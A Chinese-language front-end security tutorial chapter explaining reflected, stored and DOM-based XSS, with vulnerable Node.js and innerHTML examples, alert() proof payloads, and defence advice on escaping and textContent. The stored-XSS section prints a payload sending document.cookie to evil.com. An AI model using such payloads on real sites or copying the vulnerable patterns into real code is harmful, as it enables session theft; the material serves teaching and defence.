2、XSS攻击原理:反射型XSS、存储型XSS、DOM型XSS的深入剖析

聊到前端安全,XSS 绝对是绕不开的头号大敌。我做了这么多年前端工程化,见过太多因为 XSS 翻车的项目了。说白了,XSS 就是攻击者往你的页面里塞了一段恶意脚本,然后让它在你浏览器里跑起来。听起来简单?但它的变种和危害,远比你想的复杂。

今天咱们就把三种 XSS 掰开揉碎,好好讲讲。

2.1 反射型 XSS:最直接的“钓鱼”手法

反射型 XSS,也叫非持久型 XSS。它的特点就是“一次性”。攻击者把恶意脚本藏在 URL 参数里,诱导用户点击。服务器拿到参数后,直接拼到 HTML 里返回。浏览器一解析,脚本就执行了。

举个例子,一个搜索页面:

// 后端代码(Node.js 示例)
app.get('/search', (req, res) => {
  const keyword = req.query.q;
  res.send(`<h1>搜索结果:${keyword}</h1>`);
});

攻击者构造一个链接:

https://example.com/search?q=<script>alert('XSS')</script>

用户一点,弹窗就出来了。这还算温和的。要是换成窃取 cookie 的脚本呢?

⚠️ 注意: 反射型 XSS 的触发条件很苛刻——必须用户主动点击恶意链接。但别小看它,配合社交工程,杀伤力极大。

我在项目中遇到过一个案例:某电商平台的搜索框,直接把关键词回显到页面上。攻击者构造了一个“优惠券领取”的钓鱼链接,诱导用户点击。结果用户的登录态被窃取,账户被盗刷。嗯,从那以后,我对所有用户输入都保持警惕。

2.2 存储型 XSS:最危险的“定时炸弹”

存储型 XSS 就狠多了。它把恶意脚本直接存到服务器数据库里。比如评论区、用户资料、文章内容……只要用户访问了包含恶意数据的页面,脚本就会自动执行。你想想看,一个论坛的评论区被注入了脚本,所有浏览该帖子的用户都会中招。这传播速度,堪比病毒。

来看一个典型的存储型 XSS 场景:

// 用户提交评论
POST /comment
{
  "content": "<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>"
}

// 后端存储后,其他用户访问页面时渲染
<div class="comment">
  <script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>
</div>

为什么说它最危险?因为不需要用户点击任何链接。只要访问了那个页面,就自动触发。我见过一个社交平台,用户简介字段没做过滤,攻击者把恶意脚本写进简介里。结果所有查看他主页的人,cookie 都被偷了。那次事故影响了上万用户。

💡 核心区别:
  • 反射型:恶意代码在 URL 中,需要用户点击
  • 存储型:恶意代码在服务器中,访问即触发

2.3 DOM 型 XSS:纯前端的“内鬼”

DOM 型 XSS 跟前两种不太一样。它完全发生在浏览器端,不经过服务器。攻击者利用前端 JavaScript 代码,把不可信数据写进 DOM 里。说白了,就是前端代码自己把自己卖了。

最常见的场景是 innerHTMLdocument.writeeval 这些 API 的滥用。比如:

// 从 URL 中获取参数
const name = new URLSearchParams(window.location.search).get('name');

// 直接插入 DOM
document.getElementById('welcome').innerHTML = '欢迎你,' + name;

攻击者构造链接:

https://example.com/?name=<img src=x onerror=alert('DOM XSS')>

页面加载后,onerror 事件触发,脚本执行。整个过程,服务器完全不知情。

🔧 避坑指南: 我曾经在重构一个老项目时,发现大量使用 innerHTML 拼接 HTML 字符串。那感觉就像在雷区里跳舞。后来我全部改成了 textContent 或者使用安全的模板引擎。记住:能用 textContent 就别用 innerHTML

2.4 三种 XSS 的对比总结

为了方便记忆,我整理了一张对比表:

类型 存储位置 触发方式 危害范围 典型场景
反射型 XSS URL 参数 用户点击恶意链接 单个用户 搜索框、错误页面
存储型 XSS 服务器数据库 访问包含恶意数据的页面 所有访问用户 评论区、用户资料、文章
DOM 型 XSS 浏览器内存/DOM 前端代码解析不可信数据 单个用户 URL hash、postMessage、localStorage

2.5 实战中的防御思路

了解了原理,咱们得知道怎么防。我个人习惯从三个层面入手:

  1. 输入过滤:对所有用户输入做编码或转义。比如 < 转成 &lt;> 转成 &gt;
  2. 输出编码:在数据渲染到页面时,根据上下文做编码。HTML 上下文、JavaScript 上下文、CSS 上下文,编码方式都不一样。
  3. 使用安全 API:尽量用 textContent 代替 innerHTML,用 setAttribute 代替直接拼接属性。
🎯 一句话总结: 永远不要信任用户的输入。不管是来自 URL、表单、数据库还是第三方 API,只要它可能被渲染到页面上,就必须经过安全处理。

好了,三种 XSS 的原理就讲到这里。下一章咱们聊聊如何用 CSP(内容安全策略)给页面加一道“防火墙”。到时候我会分享一些我在实际项目中配置 CSP 踩过的坑,保证让你少走弯路。